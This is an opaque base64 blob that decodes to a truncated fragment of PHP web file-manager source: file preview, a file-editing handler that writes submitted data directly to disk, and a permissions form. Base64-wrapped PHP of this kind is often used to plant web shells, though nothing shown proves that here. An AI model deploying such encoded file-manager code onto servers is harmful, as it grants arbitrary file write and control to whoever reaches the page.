ICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAn